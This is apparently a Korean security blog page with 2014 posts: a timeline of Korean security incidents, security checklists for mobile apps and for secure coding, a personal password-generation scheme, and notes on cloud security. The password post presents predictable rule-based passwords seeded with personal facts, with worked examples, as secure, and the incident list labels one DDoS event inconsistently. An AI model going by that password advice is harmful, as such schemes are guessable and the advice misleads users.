레이블이 security인 게시물을 표시합니다. 모든 게시물 표시
레이블이 security인 게시물을 표시합니다. 모든 게시물 표시

2014/06/19

대한민국 보안 사고 관련 history 요약 정리

요즘 시간이 남는 관계로 그동안 있었던 보안 사고에 대한 요약 정리를 한번 해 보았다.
뭐 상세한 내용들은 해당 키워드로 인터넷을 검색하면 자세히 나와 있고,
나는 어떤 일이 있었고 그게 대략 무슨 일이었는지만 remind 할 수 있는 수준의 메모를 남김.


1. 1.25 인터넷 대란 (2003년 1월)
- PC 웜 바이러스를 이용한 인터넷 대란
SQL 서버의 슬래머 웜이 번져 DNS 서버를 공격하는 방식.
DNS 서버 불통으로 인해 전 국민이 인터넷 대란을 겪었음.
>> 보안패치의 중요성이 대두!

2. 엔씨소프트 리니지2 인증정보 유출(2005년 5월)
- 직원의 실수로 인한 정보 유출
개발자의 실수로 인해 사용자가 입력한 id/pw가 평문으로 PC에 로깅되도록 한 문제.
특히 사용자가 해당 기간 동안 PC방에서 게임 접속을 한 경우에 대한 피해가 있을 수 있었음. (접속한 id/pw가 남으므로)
바로 홈페이지에 사과문을 게재하고, 이후 피해자에게 10만원씩 배상함.
>> 라이브 업데이트 전 검수 중요성!


3. 국민은행 개인정보 유출 사건(2006년 3월)
- 직원의 실수로 인한 정보 유출
복권 서비스 이용계약을 체결한 가입 회원 32,377명에게 성명, 주민등록번호, 이메일 주소 등이 수록된 텍스트 파일을 이메일 첨부파일로 전송. 전송 도중 중단하였으나 이미 3,723명에게 발송이 되어 버렸음.


4. 옥션 개인정보 유출 사건 (2008년 1월)
 -외부 해커가 내부 직원을 대상으로 한 해킹 공격을 통해 고객정보 탈취
중국 해커의 소행으로 밝혀졌음.
CSRF 공격을 이용해 옥션 내부 직원의 권한을 획득하여 벌인 해킹.
2010년에 일당을 검거. (2010년에 이 일당이 신세계 몰에도 동일 해킹을 했음이 밝혀짐)
>> CSRF 공격에 대한 화두!


5. GS칼텍스 개인정보 유출 사건(2008년 7월)
-내부 직원에 의한 고객정보 유출 사건
내부 직원이 고객 정보가 들어있는 DB에 접속해 데이터를 탈취해 CD/DVD로 들고 나감.
이후 공범 중 한명이 개인정보 유출에 대한 소송에 이용하자며 변호사 사무실에 찾아갔더니, 유출 사고가 먼저 있어야 한다고 하여 쓰레기더미에서 CD를 발견하였다고 언론 플레이.
>> 외부 해킹 뿐 아니라 내부 직원에 의한 고객 정보 유출 위험성 대두!


6. 7.7 DDoS (2009년 7월)
- 대한민국, 미국의 주요 정부 기관, 포털, 은행 사이트에 대한 DDoS 공격
HTTP의 Get flooding, UDP flooding, ICMP flooding  공격을 혼합하여 수행.
웹 서버의 연결자원 고갈 및 NW 대역폭 고갈을 함께 수행하였음.
특징 : cache-control 필드에 no-store 설정
그동안은 네트워크 대역폭 고갈에 주로 DDoS 공격이 수행되었으나, L7(웹 어플리케이션의 자원 고갈)레벨의 공격을 처음 시도하여 방어에 시간이 걸렸음.
공격에 이용한 좀비PC들의 경우 MBR 파괴 증상이 있었음.
명령채널서버 없이 특정 시간에 자동으로 수행되도록 함.
국정원에서 북한의 소행이라 발표
>> L7에서의 DDoS 공격에 대한 대응 방법!


7. 3.2 DDoS (2011년 3월)
- 대한민국 주요 정부기관, 포털, 은행사이트에 대한 DDoS 공격
HTTP의 Get flooding, UDP flooding, ICMP flooding  공격을 혼합하여 수행.
웹 서버의 연결자원 고갈 및 NW 대역폭 고갈을 함께 수행하였음.
특징 : cache-control 필드에 no-store 설정 외로도 proxy-connection:keep-alive 등
공격 패킷에 위와 같은 특정 signature가 있고, 7.7 DDoS 공격 대응 경험이 있어 큰 피해 없이 차단함.
7.7 DDoS 공격때오는 달리 비동기식이지만 명령채널서버를 이용함.
(역시 북한의 소행이라고 국정원에서 발표)


8. 현대캐피털 고객정보 유출 (2011년 4월 8일)
- 퇴사자 직원의 ID/PW를 이용해 고객정보 해킹, 유출
- 175만건의 개인정보 유출, 노트북 컴퓨터로 무선 인터넷을 통해 회사 서버에 접속한 뒤 해킹프로그램 웹쉘을 설치해 개인정보를 빼내감


9. 농협 전산망 마비(2011년 4월 12일)
- 외주업체 직원 노트북을 통해 대다수 서버 파괴 명령어 날림
외주업체 직원의 IBM 노트북에 2010년 9월경 웹하드 프로그램을 이용해 영화 다운로드를 받다 악성코드에 감염되었음
이후 관리자 패스워드 등 전산망 정보를 수집하고 도청 프로그램을 설치함
4월 12일 오전에 공격 명령어 다운로드를 완료하고 오후 4시 50분경 동시다발적으로 서버에 삭제 명령어를 날림 (서버의 절반이 파괴됨)
악성코드의 이름, 공격 패턴 등이 7.7 DDoS, 3.4DDoS때와 유사하다고 알려져 있음.
(역시 북한의 소행이라고 국정원에서 발표)
>> 금융권의 보안 중요성, 충분한 예산, 인력 등의 배분 필요성.


10. SK컴즈 고객정보 유출 해킹 (2011년 7월 26일)
- 중국발 해킹, 이스트소프트의 업데이트 서버 해킹을 통해 해당 프로그램을 설치하였던 컴즈 내부 직원의 PC를 해킹하여 고객정보를 해킹함
- 내부정보 수집 및 DB 관리자 권한 획득, DB에서 네이트/싸이월드의 고객 회원정보 3500만건 탈취.


11. 넥슨 메이플스토리 개인정보 유출(2011년 11월)
- 백업 서버에 악성코드를 통한 외부 해킹 공격으로 고객정보가 유출됨
- 가입자 1320만명의 개인정보 유출됨


12. EBS 홈페이지 회원 개인정보 유출(2012년 5월)
- 중국발 IP로부터 해킹, 악성코드 침투
- 회원 422만 5681명의 개인정보가 유출됨


13. KT 고객정보 해킹 (2012년 7월)
- 내부 직원이 한건씩 개인정보를 조회하는 방식으로 프로그램 개발 방식으로 개인정보 유출
-  해당 IT 정보통신 업체에서 10년간 프로그램을 개발한 베테랑 프로그래머의 소행이었음.
- 가입자 유치를 위한 TM(텔레 마케팅)에 이용함
>> 동시에 대량 유출이 아닌 한건씩의 유출 시 어떻게 탐지하나?


14. 삼성 갤럭시S2 루팅 취약점 공개 (2012년 12월)
- 삼성 개발자의 실수로 Exynos4 AP Device의 권한을 잘못 설정해 공격자가 커널 영역에 메모리를 할당받고, setreuid 함수를 패치하는 방식으로 root 권한 획득
# ls -al /dev/exynos-mem
crw-rw-rw   1   system  graphics   ~~~~~~   /dev/exynos-mem
- 엑시노스란? 카메라, 그래픽 메모리 할당, HDMI의 사용을 위한 디바이스.
- 취약점에 대한 exploit 코드가 공개되었고, 삼성측에서는 이후 패치를 공개하였음.


15. 3.20 전산망 마비(2013년 3월)
- 대한민국 주요 언론사, 금융사의 PC를 해킹, 서버 파괴
- 특정 업체의 PMS 서버, 내부 인프라웨어 등을 이용하여 악성코드를 유포하였음.
- MBR 파괴 등으로 임직원 PC를 파괴.
- 기존 7.7DDoS, 3.4 DDoS와 비슷한 패턴의 악성코드, 좀비 PC 인프라 이용.
(역시 북한의 소행이라고 국정원에서 발표)


16. 6.25 DDoS 공격(2013년 6월)
- 대한민국 정부 기관, 언론사, 웹사이트 해킹(사이트 위변조) 및 DDoS 공격 병행
- 청와대 홈페이지 해킹을 통한 웹 사이트 위변조 등.
- DDoS 공격 수행시 기존과는 달리 cache 기반 DNS 특징을 이용하여 없는 도메인에 대한 쿼리문을 던지는 방식의 DDoS 공격.
- 웹하드 업체의 설치 프로그램 변조를 통해 악성코드를 유포함
(역시 북한의 소행이라고 국정원에서 발표)


17. 금융사 고객정보 유출 사건(2013년 12월)
- 시티은행, SC제일은행에서 외주직원이 USB를 통해 고객정보를 유출
>> DLP 등을 이용한 고객정보 유출 모니터링/차단 필요성 대두


18. 카드사 대규모 개인정보 유출 사건(2014년 1월)
- KCB 신용평가사 직원이 카드사에 파견나가 고객 개인정보를 USB에 담아 유출
- 국민카드, 롯데카드, 농협카드 등에서 고객정보가 유출됨
- 대출 모집인 등에 판매되었음
- 개인정보 유출 규모가 역대 최다인 1억 400만여건임.
>> 외주 개발자의 보안 관리에 대한 필요성


19. KT 고객정보 해킹 2차(2014년 3월)
- 웹 사이트 취약점을 이용한 brute-force 방식을 이용한 개인정보 해킹 방식
- 파로스 프록시 프로그램을 이용하여 '이용대금 조회 사이트'에 고객번호를 무작위 대입하는 방식으로 고객정보를 유출


20. 뱅킹 앱 악성코드의 진화, 피싱 --> 파밍--> 큐싱 (2013년~2014년)
- 인터넷뱅킹의 악성코드가 초반의 피싱 웹 사이트로의 접속을 노렸던 것에서, 파밍으로 진화하고, 이후 스마트폰의 QR코드까지 이용하는 큐싱으로 발전.
- 큐싱은 100만원 이상 이체시 이용해야 하는 2채널 인증의 서비스로 QR코드를 이용하는 방식을 악용해  피해자가 파밍 사이트에서 제공하는 QR코드를 자신의 스마트폰에서 인식하도록 하여 악성 앱 설치까지 되도록 하는 방식.


추가적으로 기억나는 보안 사건 사고 이슈가 있으면, 이 포스팅에 추가 업데이트 예정.

2014/06/18

Smartphone app 개발시 보안 checklist

요즘 시간적인 여유가 생기면서, 기존에 머리속으로 해 왔던 일들을 일부 정리하는 시간을 가지고 있는데,
그 중 하나로 스마트폰 앱 개발 시 보안성심의 체크리스트를 작성해 보았다.

스마트폰 앱 개발 시 체크해야 하는 체크리스트들은 사실, 그 앱이 어떤 앱이냐에 따라 많이 달라질 수 밖에 없다.
금융권 앱의 경우는 금융감독규정을 비롯한 여러가지 법률과 규정, 가이드라인 준수 여부를 추가로 cross check해야 할 뿐 아니라, 당장 사용자들의 돈 거래가 달려있기 때문에 사용자가 좀 더 불편하더라도 보안 적용을 감내하도록 만들곤 한다.
하지만 반대로 게임 앱의 경우는 입력값 위변조(메모리 해킹)나 앱의 위변조로 인한 게임 데이터 조작(치팅 등)이 큰 문제가 되지만, 만약 스마트폰 기기에서 사용자가 불편함 없이 그 앱을 실행시킬 수 없으면 당장 고객을 잃기 때문에 앱의 퍼포먼스도 많이 중요하다.
또한, 일부의 보안이 중요하지 않은 편의성 앱이나 사용자의 조작이 어려운 static한 앱들의 경우는 보안의 수준을 높여서 불편하게 만들 필요가 없을 것이다.

또한 스마트폰 앱의 검증은, 또한 기존의 native app의 경우와... 웹앱, 그리고 그 중간인 하이브리드 앱의 경우도 점검해야 하는 항목이 달라질 수 있다.
따라서 아래 내가 임의로 작성한 체크리스트의 경우는 전체 내용을 다 포괄할 수는 없겠지만, 최소한 앱의 점검을 위해서 고려해야 하는 항목들이 무엇이 있을지 고려하여 작성해 보았다.

다만, 앱스토어에서의 앱의 점검과 같이, 해당 앱 내에 악성기능을 숨겨놓았는지에 대한 확인 여부는 고려하지 않았고...
일반 기업에서, 신뢰할만한 개발자가 개발한 스마트폰 앱의 보안성 심의를 할 때 필요한 사항들에 대해 적어 보았다.

해킹 기술이 발전하여 관련 해킹 방법이나 툴들이 증가되게 되면, 추가적으로 체크해야 하는 항목들이 늘어날 수는 있겠지만,
기본적으로 필요하다고 생각되는 보안성 심의 점검 내용을 리스트업 해 보자.

1. 서비스 기획 점검

1) 해당 신규 서비스의 내용에 법률, 규정, 사회적 영향도에 문제가 없는가?

- 만약 문제가 될 소지가 있는 경우 관련 법률, 규정 검토 및 비슷한 사례 연구
- 특히 사용자 신규 가입 등의 개인정보 취급 시 개인정보보호법을 고려해야 하며, 정통망법, 신용정보법, 금융감독규정을 비롯 해당 서비스에서 취급하는 서비스에 따라 다양한 법률 및 규정, 가이드라인에 대해 문제가 없는지 모두(!!) 체크해야 하고, 법률에 내용이 상이할 경우 어떤 것을 우선시로 적용받는지 역시 확인해야 한다.
-클라우드컴퓨팅이 적용된 서비스의 경우, 인프라 관리자와 서비스 관리자가 상이할 경우 처럼 다양한 환경에서의 장애, 해킹, 정보 유출에 대한 법적 책임을 포함한 Risk 관리 등에 대해서도 사전에 고려 되어야 한다.

2) 해당 신규 서비스의 인프라가 기존에 있는 인프라를 이용하는 경우, 보안상 문제가 없는가?
- 물리적으로 같은 서버나 네트워크를 이용하는 경우, 가능한 비슷한 보안 수준인지 확인.
(취약한 서비스와 같은 서버에서 돌리는 경우, 이 서비스와 상관없이 취약 서비스로 인한 피해가 있을 수 있음)

3) 해당 서비스에서 사용하고 있는 기술에 보안 상 문제가 없는가?
 - 새로 개발된 신규 기술을 도입하는 경우, 해당 기술에 대한 취약점 여부 확인.

4) 서비스 가입, 로그인, 로그아웃, 비밀번호 변경, 탈퇴 등의 일련의 과정에 대해 문제가 없는가?
 - 사용자의 인증이 중요한 서비스의 경우는 해당 인증/인가시 충분한 보안을 고려하였고, 타인에 의해 도용될 소지가 없는지 확인해야 함.

5) 중요 서비스의 경우, 단말을 지정하여 이용하도록 하거나, 단말 분실 등의 문제가 생겼을 경우 고객센터를 통해 바로 서비스 중지가 될 수 있도록 하였는가?

6) 사용자 가입 전, 이용 고객에게 보안 유의사항에 대한 안내를 하였는가?

7) 모바일과 PC에서 동시에 사용 가능한 서비스인 경우, PC에서의 보안 수준 만큼 모바일에서도 준용하였는가? (비밀번호 등의 인증 강도 포함)

8) 내부적인 서비스에 대한 정책, 지침, 대응 절차, 약관 등에 대한 검토 및 담당자 확인.

9) 서비스 오픈 전 취약점 진단을 통한 취약점 수정 여부.

10) 보안사고 발생 시 사고 대응 절차 점검.

11) 피싱 공격에 대비해 온라인이나 마켓에서 주기적으로 점검하는지 여부.

12) 민감한 앱의 경우 배포 방법에 대한 고민 (앱스토어, 내부 사이트)
 -  제한된 사용자에 대해 서비스 되는 앱의 경우 어떤 방법이 더 안전한가?

13) 어플리케이션 취약점, 버그 발견 시 자동 업데이트 가능 여부


2. 기본 단말 영역 보안

1) 운영체제 위변조(루팅, 탈옥) 여부 확인


2) 키 로깅 여부 확인 (키보드 보안 무력화)

3) 안티바이러스 무력화, 또는 최신 패치 적용 여부 확인

4) 이 프로그램 실행 도중 다른 프로그램의 임의 실행/중지 여부 확인

5) 중요 정보(인증 정보, 금융정보, 개인 정보 등) 단말 내 저장 여부 확인

6) 중요 서비스인 경우 단말 내의 기본 보안 설정 적용 여부
 - 예. 스마트 오피스 앱의 경우 MDM 적용, 기본 단말 화면 잠금, 백신 설치 등.
 - 중요 서비스의 경우 화면캡쳐 및 화면 출력, 프로그램 통제, 문서보안 적용 여부.

7) 정해진 단말에서만 접근 가능해야 하는 서비스 인지 여부.
 - 단말의 고유 값을 이용해 미리 선 지정한 폰에서만 접근 가능해야 하는 서비스.



3. 클라이언트(앱) 서비스 보안

1) 서버에 임의의 조작된 명령어 실행 여부 

- 스니핑 등으로 패킷 확인 후 HTTP Proxy 등을 이용하여

2) SQL injection 
 - 서버, 클라이언트 모두 DB 사용 시

3) 프로그램 무결성 확인, 메모리 해킹 확인
 - 소스 코드 내 중요 정보 제거, 무결성 확인을 통한 변조된 어플리케이션 실행 방지,
  난독화 적용, 디버깅 탐지 등의 역공학 기술 적용 여부

4) 중요 데이터 전송 시 인증 여부
 - 파라미터 값 변조, 캐쉬 파일 변조, 바이너리 변조 등으로 타인의 정보 확인 가능 여부
 - 중요 데이터에 대해서는 비밀번호를 추가로 서버에서 확인 (비밀번호 위변조 여부)
 - 중요 비밀번호 전송 시 비밀번호의 복잡도 설정

5) 인증 세션 미비
 - 스니핑, 메모리 덤프 등으로 획득한 정보의 재사용 가능 여부
 - 인증정보의 노출 및 위변조 여부
 - 만료된 인증 세션에 대해 서버에서 체크. (세션 종료 처리 시간)
 - 다중 로그인 정책 여부
 - 중요 정보에 접근 시, 추가적인 인증을 수행하는지 여부
 - 일정회수 이상 비밀번호 오류 시 접근 통제 적용 여부
 - 일정 기간 입력이 없을 시 자동 잠금/로그오프 적용 여부

6) 디컴파일을 통한 프로그램 분석 (프로가드 등으로 난독화 여부)

7) 개발 단계에서 적용한  출력정보에 대한 제거 미비 여부
 - 디버깅 코드, 디버깅 로그 등 확인

8) 개인정보(중요 정보) 표시 제한 여부
 - 중요한 개인정보/중요정보의 경우 일부 * 등으로 마스킹 처리
 - 전체 공개 금지 등을 통해 열람 범위 최소화 적용

9) 메모리 덤프를 통한 중요 정보 노출 여부
 - 패스워드 등을 포함 일부 원하는 중요 데이터가 쉽게 평문으로 노출되는지 여부.

10) 암호화 강도 확인
- 중요 데이터의 경우 E2E 암호화를 적용하는데, 이때 안전한 암호 알고리즘, 안전한 키 길이, 안전한 키 주기를 사용하고 있는지. 암호화 정보를 통해 전송 중 위변조, 오류 체크.

11) 중요한 입력 정보에 대해 유출되거나 변조되지 않도록 보호
 - (특히 금융서비스) 가상 키보드, 키보드 후킹 방지 등

12) 중요 거래 시 부인방지 기능 적용

13) 중요한 정보 저장 시 관리 방안
 - 예) 공인인증서 파일의 경우 이동, 비번 변경 등에 대한 정책.

14) 중요한 정보 입력 시, 서버에서 확인 여부
- 예) 금융 데이터 전송 시 거래 데이터와 전자서명데이터 여부로 무결성 검증.

15) 테스트 데이터, 로깅, 파일 등의 존재 여부



4. 서버 서비스 보안

1) 서비스에 대한 비정상 행위에 대한 auditing 적용 여부(로깅)
 - 비정상 접속 종료, 강제 세션 종료, 비정상적인 접속 시도, 공격 시도 등.

2) 서비스 개시 전, 서버에 대한 보안 점검 여부

3) 서버 접근 시 담당 업무, 직급에 따른 접근 권한 부여 여부

4) 로깅에 대한 위변조 방지 조치, 작업내역에 대한 감사 여부

5) 타 서비스들과 동일 수준의 서버 보안 적용 여부, 취약점 진단 여부.

6) 클라이언트, 혹은 타 서버와의 통신에 사용되는 암호화 키 보관, 암호 알고리즘의 적정성 여부

7) 서버 폐기 시 정보 유출 방지를 위한 조치 여부

8) 서버가 위치한 장소에 대한 보안 대책 마련
  - 물리적 보안 적용 여부, 자연적 재해에 대비한 연속성 계획(장애 대응 프로세스)
  - 백업 시스템 적용 여부, 주기적인 검증 여부

9) DMZ 존에 서버가 있는 경우, 개인정보등이 포함된 중요 데이터를 로깅을 하는지 여부
  - 개인정보보호법에 의거, 개인정보가 포함된 평문 데이터 저장 금지.

10) 비밀번호는 hash로 조회되지만 복호화 할 수 없도록.

11) 인증이 중요한 스마트 오피스 등의 서비스인 경우, 퇴사자 등 임직원 정보에 대해 실시간 관리하는지 여부.

12) 서비스 접속 사용자에 대한 행위 로깅 (주기적 감사)

13) 서비스 관리를 위한 접속 사용자에 대한 행위 로깅 (주기적 감사)

14) 테스트 데이터,로깅 정보 및 디폴트 세팅 등에 대한 존재 여부

15) 오류/에러/예외 처리



5. 인프라 및 네트워크 보안

1) WIFI 등 공개(스니핑 가능한)된 곳에서 사용시 문제 될만한 패킷이 없는지

 - 중요 데이터들의 경우 암호화 적용, 안전하지 않은 WIFI 사용 금지 정책 적용 등 다양한 고려.

2) 서비스 인프라 구성이 보안상 적합한지 
 - 특히 내부 서버, 혹은 외부의 서버와의 연동이 있는 경우 연동 방법이나 연동 접점에 문제가 없는지 확인.

3) 서비스 구성에 따른 보안 적용이 적절한지 (보안 장비 적용 등)

4) 네트워크에 대한 침입탐지, 패턴 등에 대해 주기적 모니터링 및 최신 패턴 적용 여부

5) 정보보호 솔루션들에 대한 로그 기록 보관 및 유출 여부 확인

6) 특정 네트워크 대역에서만 접근해야 하는 서비스인지.
  - 기업 내부에서만 접근 가능한 서비스 기획 시 관련 정책 확인.

7) 장애 시 가용성 확보 방안(이중화)



일단 생각 나는 것들을 적어 보았는데,
실제 하이브리드 앱이나 웹앱의 경우는 웹 서버의 보안 점검 체크리스트가 추가되어야 하며,
요즘 스마트폰용 앱들의 경우도 PC에서 진행되는 각종 위협 요소들이 거의 그대로 답습되고 있는 만큼 비슷한 점검이 추가로 더 필요하다.



2014/06/17

소프트웨어 개발 보안 체크리스트

소프트웨어 개발 시 개발자들의 실수로 인해 야기될 수 있는 47가지 취약점들

1. 입력 데이터 검증
 1) SQL injection
 2) cmd injection
 3) XSS
 4) Xpath injection
 5) xQuery injection
 6) LDAP injection
 7) CSRF
 8) 경로 조작
 9) 업로드 파일 확장자 및 형식 체크 미비
 10) 신뢰되지 않는 URL로의 자동접속 연결 (redirection)
 11) HTTP 응답 분할 (응답헤더조작)
 12) 정수형 인자값의 오버플로우 (정수 연산 사용 시 허용범위를 넘는 경우)
 13) 보안 기능(인증,인가, 권한부여 등) 결정에 사용되는 부적절한 인자값
 14) 메모리 버퍼 오버플로우
 15) 포맷 스트링 삽입 (printf 등)

2. 보안 기능 검증
 1) 적절한 인증 없이 중요 정보 열람
 2) 부적절한 인가
 3) 중요한 자원에 대한 잘못된 권한 설정
 4) 취약한 암호화 알고리즘의 사용
 5) 중요 정보 평문 저장(인증정보 등)
 6) 중요 정보 평문 전송 (예. 주민등록번호, 패스워드 등)
 7) 하드코드 된 패스워드
     - 소스코드 노출 시 패스워드 노출 뿐 아니라, 패스워드 변경이 힘들게 되는 문제도 발생함
 8) 하드코드 된 암호화 키
    - 소스코드 노출 시 암호화 키 노출 뿐 아니라, 암호화 키 변경이 힘들게 되는 문제도 발생
 9) 충분하지 않은 키 길이 사용
 10) 적절하지 않은 난수 사용으로 난수 예측가능
 11) 취약한 비밀번호 사용
  - 조금만 돌리면 다 나올 정도의 약한 패스워드 사용
 12) 사용자 하드디스크에 저장되는 파일을 통한 정보 노출 (예, 쿠키 속 인증정보 노출)
 13) 주석문 안에 시스템 주요정보 포함
  - 소스코드 노출하면 중요 시스템들의 정보가 바로 노출
 14) 솔트 없이 일방향 해쉬함수의 사용
 15) 무결성 검사 없는 코드 다운로드
 16) 반복된 인증시도에 대한 제한 기능의 부재

3. 시간 및 상태
 1) 검사 시점과 사용 시점이 다름에 따른 문제
 - 공유 자원(예.파일)에 여러 프로세스가 접근하는 경우 경쟁상태가 되어 동기화 오류, 혹은 교착상태 등이 생길 수 있음.
 2) 종료되지 않는 반복문/재귀문 사용

4. 에러 처리
 1) 오류메시지를 통한 정보 노출
 2) 오류 상황에 대한 대응 부재
 3) 부적절한 예외처리

5. 코드 오류
 1) Null pointer 역참조
 2) 부적절한 자원의 해제
 3) 해제된 자원의 사용 가능
 4) 초기화 되지 않은 변수의 사용

6. 캡슐화
 1) 잘못된 세션에 의한 데이터 정보 노출
 2) 제거되지 않고 남은 디버그 코드
 3) 시스템 데이터 정보 노출
  - 오류메시지나 스텍 정보에 디버깅 정보 등이 공개될 수 있음
 4) private 배열을 public 메소드로 반환할 때 그 배열 레퍼런스가 공개
 5) private 배열에 public 데이터 할당

7. API 오용
 1) DNS lookup에 의존한 보안결정 (DNS lookup은 공격자에 의해 쉽게 위변조)
 2) 취약한 API/함수 사용




2014/03/15

how to make the secure password

나는 사이트마다 사용하는 비밀번호가 모두 다르다. (사실 계정들도 다르다.) 그리고, 항상 들고다니는 작은 수첩에 나만 알아볼 수 있는 암호로 해당 정보들을 적어놓고 로그인할때마다 펴서 살펴보고 있다. 하지만 수첩을 분실해도, 아마 다른 사람들은 이게 뭔 문자인지 전혀 파악이 안될것이고, 대부분 규칙을 기반으로 생성하기 때문에 외울 수 있다.
(수첩에 적는 문자 암호화 방식은 한참 비밀이 많던 중학교때 비밀내용을 일기에 적으려고 내가 개발했는데, 그 이후 엄청 오랜 시간동안 사용해 와서 나는 이제 해당 기호들을 보면 그게 무엇을 의미하는지 실시간으로 알 수 있게 되었다.)

그런데 주변에 보면, 보안이 중요해지면서 3개월에 한번씩 비밀번호를 바꾸게 하면서, 숫자와 특수문자까지 섞어서 비밀번호를 만들라고 하니 비밀번호 만들기가 너무 힘들다는 사람들이 많아서, 대략 내가 한 7~8년쯤 전에 사용했던 (현재는 이 방식을 사용하지 않기 때문에 공개함) 비밀번호 생성 방식에 대해서 공개하려고 한다.

아래 비밀번호 생성 방식은
1) 비밀번호 생성은 쉽고,
2) 사이트마다, 비밀번호 생성시마다 비밀번호를 다 다르게 만들 수 있으며
3) 나중에 기억하기는 쉽게 구성되어 있다

즉, 비밀번호의 생성 알고리즘과 기본 비밀문구만 잘 기억하고 있으면,
시간정보나 사이트정보, 내가 소유하고 있는 물건을 통한 정보 등의 알고있는 변수를 seed 값으로 대입해 비밀번호를 생성/기억할 수 있는 방식이다.


[비밀번호 생성 노하우 #1]

1) 기본 비밀문구를 만든다(고정값)
예를들어 비밀문구는 '비밀문구'에 해당하는 qlalfansrn

2) 추가로 숫자 생성을 해준다 (변하는 값)
 예를들어 지금이 3월이니 mar에 해당하는 키들에 대응하는 숫자는 714

3) 추가로 대문자, 특수문자를 생성시킨다 (변하는 값)
예를들어 지금이 3월이니 비밀문구 중 3번째 문자와 숫자 중 3번째 숫자는 shift키를 눌러 대문자, 특수문자로 만든다.

이렇게 생성된 비밀번호는 qlAlfansrn71$


[비밀번호 생성 노하우 #2]

1) 해당 사이트에만 고유로 넣어줄 문자를 만든다 (변하는값)
예를들어 네이버 사이트만의 고유 문구는 네이버의 '네' 키에 해당하는 sp

2) 추가로 넣을 기본 비밀문구를 만든다. (고정값)
 예를들어 '비번'을 기본 base pass phrase로 잡는다면,
qlqjs 가 기본 비밀문구.

3) 기본 숫자를 생각해 둔다. (고정값)
예를들어 1111

3) 추가로 넣어줄 숫자를 만든다.(변하는값)
예를들어 오늘 2014년 3월 15일을 이용한다고 치고 2014년을 기본숫자에 더해 3125

4) 추가로 넣어줄 특수문자를 만든다.(변하는값)
예를들어 오늘 2014년 3월 15일에 월일에 해당하는 0315를 기본 숫자에 더한 1426에 해당하는 !$@^를 추가

이렇게 생성된 비밀번호는 spqlqjs3125!$@^




이런식으로 뭔가 연관이 있게 비밀번호를 만들면, 사이트마다, 생성시마다 비밀번호가 모두 다르지만 기억하기 쉽다. 기본비밀문구, 기본 숫자는 나에게 의미가 있어서 외우기 쉬운 것으로 하고, 추가할 문자는 해당 사이트만 연상하면 기억이 나는 데다가 언제 비밀번호를 만들었는지 떠올리면(나만 아는 정보) 숫자와 특수문자도 기억이 나기 때문.

이것 외에도, 예를 들어 해커는 잘 모르는 나만 기억하기 쉬운 숫자로는 다음의 것들이 있을 수 있다. (나만 *아는* 정보를 이용하는게 좋다)

1) 내 본적 주소 번지수
2) 엄마/아빠나 애인 핸드폰번호 중간 4자리
3) 스타벅스에서 내가 제일 좋아하는 메뉴 가격 앞 3자리
4) 우리집에 올라가는 계단 갯수
5) 책상위 필통꽂이에 꽂혀있는 펜의 갯수
6) 책상 첫번째 책장에 꼽혀있는 책의 갯수
7) 책장 두번째 책 제목에 mapping된 숫자키
  (예를 들어 '정글만리'인 경우 '정'자만 따와서 273)
8) 책상에서 즐겨쓰는 펜의 바코드 숫자 앞 4자리
9) 책상 앞 즐겨보는 책 ISBN 숫자 뒤 4자리

... 등등 무긍무진함.


대부분은 '나만이 알 수 있는 정보'를 통해 추출해 내거나, '내가 소유한 물건'을 통해 변수를 추출해 내기 때문에, 비밀번호 자체에 대해서 나는 기억하기가 쉽지만, 내가 아닌 사람은 쉽게 유추할 수 없는 특징을 가진다.

2014/01/13

Cloud Computing Security #1

클라우드 컴퓨팅 보안과 관련하여 몇차례에 걸쳐 정리해 포스팅을 진행하려고 한다.


1. 클라우드 컴퓨팅 보안의 주요 이슈 사항

- 서비스 가용성
: 내가 원하는 데이터를 내가 원할 때 볼 수 없으면?
침해사고나 장애, 천재지변시 서비스 연쇄중단 및 대규모 피해 발생.

- 서비스 기밀성 및 무결성 제공
: 내 데이터의 유출? 손실? 항상 open된 서비스인데...
만약 다수의 이용자, 기업정보 등을 보유한 클라우드 서버내 중요 데이터들이 암호화 되지 않고 운영중에 해킹사고가 일어난다면?

- 개인정보보호
: 개인정보의 제 3자 위탁 저장여부, 클라우드 서비스 사업자의 관리 미비로 인한 노출?

- 클라우드 컴퓨팅 서버 서비스 보안
: 클라우드 컴퓨팅 서버 및 네트워크 기술적 보안
하이퍼바이저 패치, 계정 하이제킹? 다중 역할 특성으로 인한 데이터 유출?
서비스 제공자 입장에서 사용자의 어디까지 관리 통제해야 하나?

- 컴플라이언스 이슈
: 법규 및 규제 적용 논란, 누구의 책임? 수사할때 거기에 있는 내 정보가 원치않게 유출?

- 라이센스/저작권 이슈

- 클라우드 환경의 가상화 플랫폼 자체적인 보안 이슈
: 해당 가상화 게스트 OS/하이퍼바이저의 0day, Inter-Cloud 간의 도청, 해킹.
경쟁사 클라우드 서버를 파악한 후, 동일 클라우드 서버에 가입해 정보 탈취?

- 클라우드 컴퓨팅 서비스를 해킹에 이용
:CaaS : Crimeware as a Service
해커가 정보 수집 및 배포, DDoS 공격, C&C 서버로 클라우드 컴퓨팅 서비스를 이용




2. 클라우드 컴퓨팅 서비스의 종류/분류

Private <-------------------------------------------------------------------> Public

Enterprise          3rd Party                 Hosted                      Users
 itself                 Datacenter

대고객으로 제공하는 public cloud에서 서비스 제공 업체의 보안 위협으로 인해,
업체 자체적인 클라우드 컴퓨팅 서버를 운영하는 private cloud로 발전하고 있음.



3. 클라우드 컴퓨팅 보안 사고

: 주로 H/W나 시스템 오류, 천재지변, 관리 실수, 해킹 등으로 인한 서비스 불능 및 데이터 손실 및 유출이 주요 보안 이슈이나, 은닉성 등의 이유로 최근 해커가 해킹으로 정보 수집 및 악성 파일 배포에 클라우드 컴퓨팅 서비스를 이용하는 것이 자주 발견되고 있다.


2008년

(1) 아마존 - 인증요청 장애 (인증서버 다운)
(2) 미디어맥스 - 폐업으로 인한 사용자 데이터 손실

2009년

(3) 이베이 - 페이팔 지불결제 시스템 장애 (2hr)
(4) 구글 - Gmail 서비스 장애 (2hr)
                구글앱스 관리상 오류로 인한 장애(24hr)
(5) MS - 스마트폰 사이드킥 서비스 장애

※ 2009년 6월 영국 클라우드 서비스가 사용하는 가상머신 관리 S/W의 0day 취약점으로 인해 관리자 권한 획득 후 10만 고객 웹 사이트를 삭제하는 보안 사고로, 클라우드 컴퓨팅 서비스 관리 S/W의 보안의 중요성이 대두됨.

2010년

(6)MS - BPOS서비스 환경 설정에 대한 관리 미비 인해 클라우드 상의 기업정보가 타인에게 열람됨

2011년

(7)구글 - 시스템 오류로 인한 Gmail 50만명의 메일 계정, 메일 내용 및 주소록 삭제 장애 발생
